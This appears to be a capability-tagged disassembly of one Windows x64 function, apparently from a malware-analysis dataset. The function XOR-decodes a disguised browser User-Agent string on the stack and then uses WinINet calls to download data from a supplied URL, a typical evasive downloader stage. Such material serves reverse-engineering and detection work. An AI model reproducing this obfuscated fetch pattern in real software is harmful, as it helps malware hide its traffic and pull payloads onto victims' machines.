Function at 0x140002760
Capabilities:
Authenticate hmac
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0xfd0]
mov eax, 0x10d0
call fcn.140007ec0
sub rsp, rax
mov rax, qword [0x140037018]
xor rax, rsp
mov qword [rbp + 0xfc0], rax
mov dword [rsp + 0x30], 0x41
mov rbx, r8
mov eax, dword [rsp + 0x30]
mov rsi, rdx
xor al, 0x4d
mov rdi, rcx
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x30]
inc al
xor al, 0x6f
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
add al, 2
xor al, 0x7a
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x30]
add al, 3
xor al, 0x69
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x30]
add al, 4
xor al, 0x6c
mov byte [rsp + 0x38], al
mov eax, dword [rsp + 0x30]
add al, 5
xor al, 0x6c
mov byte [rsp + 0x39], al
mov eax, dword [rsp + 0x30]
add al, 6
xor al, 0x61
mov byte [rsp + 0x3a], al
mov eax, dword [rsp + 0x30]
add al, 7
xor al, 0x2f
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x30]
add al, 8
xor al, 0x35
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x30]
add al, 9
xor al, 0x2e
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x30]
add al, 0xa
xor al, 0x30
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x30]
add al, 0xb
xor al, 0x20
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x30]
add al, 0xc
xor al, 0x28
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x30]
add al, 0xd
xor al, 0x57
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x30]
add al, 0xe
xor al, 0x69
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x30]
add al, 0xf
xor al, 0x6e
mov byte [rsp + 0x43], al
mov eax, dword [rsp + 0x30]
add al, 0x10
xor al, 0x64
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x30]
add al, 0x11
xor al, 0x6f
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x30]
add al, 0x12
xor al, 0x77
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x30]
add al, 0x13
xor al, 0x73
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x30]
add al, 0x14
xor al, 0x20
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x30]
add al, 0x15
xor al, 0x4e
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x30]
add al, 0x16
xor al, 0x54
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x30]
add al, 0x17
xor al, 0x20
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x30]
add al, 0x18
xor al, 0x31
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x30]
add al, 0x19
xor al, 0x30
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x30]
add al, 0x1a
xor al, 0x2e
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x30]
add al, 0x1b
xor al, 0x30
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x30]
add al, 0x1c
xor al, 0x3b
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x30]
add al, 0x1d
xor al, 0x20
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x30]
add al, 0x1e
xor al, 0x57
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x30]
add al, 0x1f
xor al, 0x69
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x30]
add al, 0x20
xor al, 0x6e
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x30]
add al, 0x21
xor al, 0x36
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x30]
add al, 0x22
xor al, 0x34
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x30]
add al, 0x23
xor al, 0x3b
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x30]
add al, 0x24
xor al, 0x20
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x30]
add al, 0x25
xor al, 0x78
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x30]
add al, 0x26
xor al, 0x36
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x30]
add al, 0x27
xor al, 0x34
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x30]
add al, 0x28
xor al, 0x29
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x30]
add al, 0x29
xor al, 0x20
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x30]
add al, 0x2a
xor al, 0x41
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x30]
add al, 0x2b
xor al, 0x70
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x30]
add al, 0x2c
xor al, 0x70
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x30]
add al, 0x2d
xor al, 0x6c
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x30]
add al, 0x2e
xor al, 0x65
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x30]
add al, 0x2f
xor al, 0x57
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x30]
add al, 0x30
xor al, 0x65
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x30]
add al, 0x31
xor al, 0x62
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x30]
add al, 0x32
xor al, 0x4b
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x30]
add al, 0x33
xor al, 0x69
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x30]
add al, 0x34
xor al, 0x74
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x30]
add al, 0x35
xor al, 0x2f
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x30]
add al, 0x36
xor al, 0x35
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x30]
add al, 0x37
xor al, 0x33
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x30]
add al, 0x38
xor al, 0x37
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x30]
add al, 0x39
xor al, 0x2e
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x30]
add al, 0x3a
xor al, 0x33
mov byte [rsp + 0x6e], al
mov eax, dword [rsp + 0x30]
add al, 0x3b
xor al, 0x36
mov byte [rsp + 0x6f], al
mov eax, dword [rsp + 0x30]
add al, 0x3c
xor al, 0x20
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x30]
add al, 0x3d
xor al, 0x28
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x30]
add al, 0x3e
xor al, 0x4b
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x30]
add al, 0x3f
xor al, 0x48
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x30]
add al, 0x40
xor al, 0x54
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x30]
add al, 0x41
xor al, 0x4d
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x30]
add al, 0x42
xor al, 0x4c
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x30]
add al, 0x43
xor al, 0x2c
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x30]
add al, 0x44
xor al, 0x20
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x30]
add al, 0x45
xor al, 0x6c
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x30]
add al, 0x46
xor al, 0x69
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x30]
add al, 0x47
xor al, 0x6b
mov byte [rsp + 0x7b], al
mov eax, dword [rsp + 0x30]
add al, 0x48
xor al, 0x65
mov byte [rsp + 0x7c], al
mov eax, dword [rsp + 0x30]
add al, 0x49
xor al, 0x20
mov byte [rsp + 0x7d], al
mov eax, dword [rsp + 0x30]
add al, 0x4a
xor al, 0x47
mov byte [rsp + 0x7e], al
mov eax, dword [rsp + 0x30]
add al, 0x4b
xor al, 0x65
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x30]
add al, 0x4c
xor al, 0x63
mov byte [rbp - 0x80], al
mov eax, dword [rsp + 0x30]
add al, 0x4d
xor al, 0x6b
mov byte [rbp - 0x7f], al
mov eax, dword [rsp + 0x30]
add al, 0x4e
xor al, 0x6f
mov byte [rbp - 0x7e], al
mov eax, dword [rsp + 0x30]
add al, 0x4f
xor al, 0x29
mov byte [rbp - 0x7d], al
mov eax, dword [rsp + 0x30]
add al, 0x50
xor al, 0x20
mov byte [rbp - 0x7c], al
mov eax, dword [rsp + 0x30]
add al, 0x51
xor al, 0x43
mov byte [rbp - 0x7b], al
mov eax, dword [rsp + 0x30]
add al, 0x52
xor al, 0x68
mov byte [rbp - 0x7a], al
mov eax, dword [rsp + 0x30]
add al, 0x53
xor al, 0x72
mov byte [rbp - 0x79], al
mov eax, dword [rsp + 0x30]
add al, 0x54
xor al, 0x6f
mov byte [rbp - 0x78], al
mov eax, dword [rsp + 0x30]
add al, 0x55
xor al, 0x6d
mov byte [rbp - 0x77], al
mov eax, dword [rsp + 0x30]
add al, 0x56
xor al, 0x65
mov byte [rbp - 0x76], al
mov eax, dword [rsp + 0x30]
add al, 0x57
xor al, 0x2f
mov byte [rbp - 0x75], al
mov eax, dword [rsp + 0x30]
add al, 0x58
xor al, 0x31
mov byte [rbp - 0x74], al
mov eax, dword [rsp + 0x30]
add al, 0x59
xor al, 0x32
mov byte [rbp - 0x73], al
mov eax, dword [rsp + 0x30]
add al, 0x5a
xor al, 0x33
mov byte [rbp - 0x72], al
mov eax, dword [rsp + 0x30]
add al, 0x5b
xor al, 0x2e
mov byte [rbp - 0x71], al
mov eax, dword [rsp + 0x30]
add al, 0x5c
xor al, 0x30
mov byte [rbp - 0x70], al
mov eax, dword [rsp + 0x30]
add al, 0x5d
xor al, 0x2e
mov byte [rbp - 0x6f], al
mov eax, dword [rsp + 0x30]
add al, 0x5e
xor al, 0x30
mov byte [rbp - 0x6e], al
mov eax, dword [rsp + 0x30]
add al, 0x5f
xor al, 0x2e
mov byte [rbp - 0x6d], al
mov eax, dword [rsp + 0x30]
add al, 0x60
xor al, 0x30
mov byte [rbp - 0x6c], al
mov eax, dword [rsp + 0x30]
add al, 0x61
xor al, 0x20
mov byte [rbp - 0x6b], al
mov eax, dword [rsp + 0x30]
add al, 0x62
xor al, 0x53
mov byte [rbp - 0x6a], al
mov eax, dword [rsp + 0x30]
add al, 0x63
xor al, 0x61
mov byte [rbp - 0x69], al
mov eax, dword [rsp + 0x30]
add al, 0x64
xor al, 0x66
mov byte [rbp - 0x68], al
mov eax, dword [rsp + 0x30]
add al, 0x65
xor al, 0x61
mov byte [rbp - 0x67], al
mov eax, dword [rsp + 0x30]
add al, 0x66
xor al, 0x72
mov byte [rbp - 0x66], al
mov eax, dword [rsp + 0x30]
add al, 0x67
xor al, 0x69
mov byte [rbp - 0x65], al
mov eax, dword [rsp + 0x30]
add al, 0x68
xor al, 0x2f
mov byte [rbp - 0x64], al
mov eax, dword [rsp + 0x30]
add al, 0x69
xor al, 0x35
mov byte [rbp - 0x63], al
mov eax, dword [rsp + 0x30]
add al, 0x6a
xor al, 0x33
mov byte [rbp - 0x62], al
mov eax, dword [rsp + 0x30]
add al, 0x6b
xor al, 0x36
mov byte [rbp - 0x61], al
mov eax, dword [rsp + 0x30]
add al, 0x6c
xor al, 0x2e
mov byte [rbp - 0x60], al
mov eax, dword [rsp + 0x30]
add al, 0x6d
xor al, 0x33
mov byte [rbp - 0x5f], al
mov eax, dword [rsp + 0x30]
add al, 0x6e
xor al, 0x36
mov byte [rbp - 0x5e], al
xor eax, eax
mov byte [rbp - 0x5d], al
movzx eax, byte [rsp + 0x34]
xor eax, eax
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x34]
mov edx, dword [rsp + 0x30]
add dl, al
xor dl, cl
mov byte [rsp + rax + 0x34], dl
inc rax
cmp rax, 0x6f
jb 0x140002cc0
xor r9d, r9d
mov byte [rbp - 0x5d], 0
xor r8d, r8d
mov dword [rsp + 0x20], 0
xor edx, edx
lea rcx, [rsp + 0x34]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
test rax, rax
je 0x140002dfb
mov qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rdi
mov qword [rsp + 0x1118], r14
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
je 0x140002e29
mov edi, 0x1000
mov qword [rbx], 0
mov ecx, edi
call fcn.14000deb0
mov qword [rsi], rax
mov rcx, r14
test rax, rax
je 0x140002e23
lea r9, [rbp - 0x50]
mov r8d, edi
lea rdx, [rbp - 0x40]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002dd5
mov ecx, dword [rbp - 0x50]
test ecx, ecx
je 0x140002dd5
mov rdx, qword [rbx]
lea rax, [rdx + rcx]
cmp rax, rdi
jbe 0x140002da2
mov rcx, qword [rsi]
add rdi, rdi
mov rdx, rdi
call fcn.14000d9c0
test rax, rax
je 0x140002e18
mov ecx, dword [rbp - 0x50]
mov qword [rsi], rax
mov rdx, qword [rbx]
mov r8d, ecx
mov rcx, qword [rsi]
add rcx, rdx
lea rdx, [rbp - 0x40]
call fcn.140009570
mov eax, dword [rbp - 0x50]
lea r9, [rbp - 0x50]
add qword [rbx], rax
lea rdx, [rbp - 0x40]
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002d73
mov rcx, qword [rbx]
mov rax, qword [rsi]
mov byte [rcx + rax], 0
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
mov r14, qword [rsp + 0x1118]
mov rcx, qword [rbp + 0xfc0]
xor rcx, rsp
call fcn.1400076b0
add rsp, 0x10d0
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, qword [rsi]
call fcn.14000dbf0
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x140002df3